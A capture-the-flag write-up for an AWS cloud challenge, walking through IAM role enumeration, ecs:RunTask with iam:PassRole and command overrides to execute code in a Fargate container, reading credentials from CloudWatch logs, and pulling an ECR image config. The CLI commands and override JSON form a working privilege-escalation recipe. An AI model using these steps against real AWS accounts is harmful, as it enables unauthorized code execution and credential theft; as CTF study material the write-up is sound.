From the description, we are given 2 critical information
UK Fintech, so we can assume that the reigion is eu-west-2 (London)
The role we will need to assume is arn:aws:iam::543303393859:role/TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL
Firstly, I assumed the role with the IAM Credentials from the previous challenge as I was lazy in creating my own IAM keys.
Copy aws sts assume-role --role-arn arn:aws:iam::543303393859:role/TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL --role-session-name asd --profile tet
I then run aws configure with the profile assume, and manually appended the session token into the credentials file.
We are in with the assumed credentials and its working fine with the sts get-caller-identity
Firstly, I enumerate IAM Permissions that the role have.
Copy aws iam list-role-policies --role-name TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL --profile assume
Theres the EcsTaskRoleDefaultPolicy attached for the IAM role, and lets look into it.
Copy aws iam get-role-policy --role-name TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL --policy-name EcsTaskRoleDefaultPolicy50882C77 --profile assume
Copy {
"RoleName" : "TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL" ,
"PolicyName" : "EcsTaskRoleDefaultPolicy50882C77" ,
"PolicyDocument" : {
"Version" : "2012-10-17" ,
"Statement" : [
{
"Action" : "ecs:RunTask" ,
"Resource" : "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3" ,
"Effect" : "Allow"
} ,
{
"Action" : [
"iam:ListRolePolicies" ,
"iam:GetRolePolicy" ,
"ecs:ListClusters" ,
"ec2:DescribeSecurityGroups" ,
"ec2:DescribeSubnets"
] ,
"Resource" : "*" ,
"Effect" : "Allow"
} ,
{
"Effect" : "Allow" ,
"Action" : "iam:PassRole" ,
"Resource" : [
"arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25" ,
"arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH"
]
} ,
{
"Sid" : "Statement1" ,
"Effect" : "Allow" ,
"Action" : [
"logs:GetLogEvents" ,
"logs:DescribeLogStreams" ,
"logs:DescribeLogGroups"
] ,
"Resource" : [
"arn:aws:logs:eu-west-2:543303393859:*"
]
}
]
}
}
Immidiately, a few thing stand out.
We are able to enumerate ECS, EC2, and able to execute ECS RunTask
We are able to PassRole, which probably has something to do when we execute RunTask
We are able to view cloudwatch logs
With that in mind, lets enumerate the ECS and EC2, and view the cloudwatch logs to see if theres any interesting artifacts.
Copy aws ecs list-clusters --profile assume
Copy aws ec2 describe-security-groups --profile assume
Copy {
"SecurityGroups" : [
{
"Description" : "Security Group for CTF ECS tasks" ,
"GroupName" : "TetCtf2Stack-CtfSecurityGroupA7633774-1DAGZMZKB7EY4" ,
"IpPermissions" : [] ,
"OwnerId" : "543303393859" ,
"GroupId" : "sg-0f6583e3532e99a62" ,
"IpPermissionsEgress" : [
{
"FromPort" : 252 ,
"IpProtocol" : "icmp" ,
"IpRanges" : [
{
"CidrIp" : "255.255.255.255/32" ,
"Description" : "Disallow all traffic"
}
] ,
"Ipv6Ranges" : [] ,
"PrefixListIds" : [] ,
"ToPort" : 86 ,
"UserIdGroupPairs" : []
}
] ,
"Tags" : [
{
"Key" : "aws:cloudformation:stack-name" ,
"Value" : "TetCtf2Stack"
} ,
{
"Key" : "aws:cloudformation:logical-id" ,
"Value" : "CtfSecurityGroupA7633774"
} ,
{
"Key" : "aws:cloudformation:stack-id" ,
"Value" : "arn:aws:cloudformation:eu-west-2:543303393859:stack/TetCtf2Stack/54b3d720-bc03-11ee-9235-06cbbf25eaf7"
}
] ,
"VpcId" : "vpc-07e8cd02a7c992f43"
} ,
{
"Description" : "default VPC security group" ,
"GroupName" : "default" ,
"IpPermissions" : [
{
"IpProtocol" : "-1" ,
"IpRanges" : [] ,
"Ipv6Ranges" : [] ,
"PrefixListIds" : [] ,
"UserIdGroupPairs" : [
{
"GroupId" : "sg-2a62a941" ,
"UserId" : "543303393859"
}
]
}
] ,
"OwnerId" : "543303393859" ,
"GroupId" : "sg-2a62a941" ,
"IpPermissionsEgress" : [
{
"IpProtocol" : "-1" ,
"IpRanges" : [
{
"CidrIp" : "0.0.0.0/0"
}
] ,
"Ipv6Ranges" : [] ,
"PrefixListIds" : [] ,
"UserIdGroupPairs" : []
}
] ,
"VpcId" : "vpc-5744993f"
} ,
{
"Description" : "default VPC security group" ,
"GroupName" : "default" ,
"IpPermissions" : [] ,
"OwnerId" : "543303393859" ,
"GroupId" : "sg-0e0be2c862c2b3241" ,
"IpPermissionsEgress" : [] ,
"VpcId" : "vpc-07e8cd02a7c992f43"
} ,
{
"Description" : "GET FLAG" ,
"GroupName" : "TetCTF-GETFLAG" ,
"IpPermissions" : [] ,
"OwnerId" : "543303393859" ,
"GroupId" : "sg-0636ad23bae6f21e7" ,
"IpPermissionsEgress" : [
{
"IpProtocol" : "-1" ,
"IpRanges" : [
{
"CidrIp" : "0.0.0.0/0"
}
] ,
"Ipv6Ranges" : [] ,
"PrefixListIds" : [] ,
"UserIdGroupPairs" : []
}
] ,
"VpcId" : "vpc-07e8cd02a7c992f43"
}
]
}
Copy aws ec2 describe-subnets --profile assume (output redacted for brevity)
What we learned from the command that was ran above.
The cluster arn is arn:aws:ecs:eu-west-2:543303393859:cluster/CtfEcsCluster
There is a security group called TetCTF-GETFLAG,
its vpc id is vpc-07e8cd02a7c992f43 and its group id is sg-0636ad23bae6f21e7
Copy aws ec2 describe-subnets --filters "Name=vpc-id,Values=vpc-07e8cd02a7c992f43" --profile assume
Filtering based on the vpc-id, there are 4 subnets that we can use
Next, lets understand what does ECS Run Task perform.
Based on the AWS Documentation, the RunTask starts a new task using the specified task definition.
Looking at the policy statement, we are able to then craft out the command
Copy {
"Action" : "ecs:RunTask" ,
"Resource" : "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3" ,
"Effect" : "Allow"
}
Copy aws ecs run-task --task-definition TetCtf2StackCtfTaskDefB40F186A:3 \
--cluster CtfEcsCluster \
--network-configuration "awsvpcConfiguration={subnets=[subnet-05dc4f12caf437c48],securityGroups=[sg-0636ad23bae6f21e7],assignPublicIp=ENABLED}" \
--launch-type FARGATE --profile assume
We are able to see that the command run successfully, and able to get the output from the cloudwatch logs.
The output is a set of AWS credentials, being the credentials of the fargate instances
Looking back at the iam policy file, we have the iam:PassRole
, so we will need to pass the role to the fargate instance
Copy {
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": [
"arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
"arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH"
]
}
Based on the AWS Documentations, we are able to use the -overrides
option to pass the role when spinning up the fargate instances.
But first, lets take a look at what those two role does.
Copy aws iam list-role-policies --role-name TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25 --profile assume
aws iam get-role-policy --role-name TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25 --policy-name EcsExecutionRoleDefaultPolicy9114F99B --profile assume
Copy {
"RoleName" : "TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25" ,
"PolicyName" : "EcsExecutionRoleDefaultPolicy9114F99B" ,
"PolicyDocument" : {
"Version" : "2012-10-17" ,
"Statement" : [
{
"Action" : [
"ecr:BatchCheckLayerAvailability" ,
"ecr:BatchGetImage" ,
"ecr:GetAuthorizationToken" ,
"ecr:GetDownloadUrlForLayer" ,
"logs:CreateLogStream" ,
"logs:PutLogEvents"
] ,
"Resource" : "*" ,
"Effect" : "Allow"
} ,
{
"Action" : [
"logs:CreateLogStream" ,
"logs:PutLogEvents"
] ,
"Resource" : "arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:*" ,
"Effect" : "Allow"
}
]
}
}
We can see from the policy file that the role has TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25
the permission to enumerate ECR and get the container information. Armed with the relevant information, we can craft our json file. While more research on run-task
i came accross a interesting article showing how you are able to override the command thats being ran via the --overrides
flag. I also added the script into it to try and get an RCE.
Copy {
"containerOverrides" : [
{
"command" : [
"ls"
] ,
"name" : "CtfContainer"
}
] ,
"executionRoleArn" : "arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25" ,
"taskRoleArn" : "arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH"
}
Copy aws ecs run-task --task-definition TetCtf2StackCtfTaskDefB40F186A:3 \
--cluster CtfEcsCluster \
--network-configuration "awsvpcConfiguration={subnets=[subnet-05dc4f12caf437c48],securityGroups=[sg-0636ad23bae6f21e7],assignPublicIp=ENABLED}" \
--overrides file://overrides.json \
--launch-type FARGATE --profile assume
The command execute succesfully, and we are able to get RCE, which also contains the flag in the root folder.
Copy aws logs describe-log-streams --log-group-name /ecs/tet-ctf --profile assume
aws logs get-log-events --log-group-name /ecs/tet-ctf --log-stream-name CtfContainer/CtfContainer/6433c096d8b74339bc83e79baf2ac2ec --profile assume
yay i win and get flag.
Alternate Solution
However, after the CTF and discussion in the #web channel, securisec shared his solution, which really make much more sense.
So lets try to follow securisec method and get the flag from the ECR instead!
First, i removed the RCE command in my overrides.json, and get the keys from the log stream.
Copy {
"executionRoleArn": "arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
"taskRoleArn": "arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH"
}
From the RunTask output, we also get the ECR URL.
Again, a quick sanity check to see if the credentials is working properly.
Quick recap on the relevant permission
Copy {
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetAuthorizationToken",
"ecr:GetDownloadUrlForLayer",
"logs:CreateLogStream",
"logs:PutLogEvents"
],
"Resource": "*",
"Effect": "Allow"
}
I wrote a quick bash script to authenticate with the token.
Copy token=$(aws ecr get-authorization-token --profile fargate --output json | jq -r '.authorizationData[0].authorizationToken' | base64 -d | cut -d ":" -f 2)
crane auth login 543303393859.dkr.ecr.eu-west-2.amazonaws.com --username AWS --password $token
As we already have the image name from the run task output, I tried to get the config of the image, and we get flag!
Reference
https://docs.aws.amazon.com/cli/latest/reference/ecs/run-task.html
https://stackoverflow.com/questions/41373167/how-to-run-aws-ecs-task-overriding-environment-variables
https://spin.atomicobject.com/override-database-migration/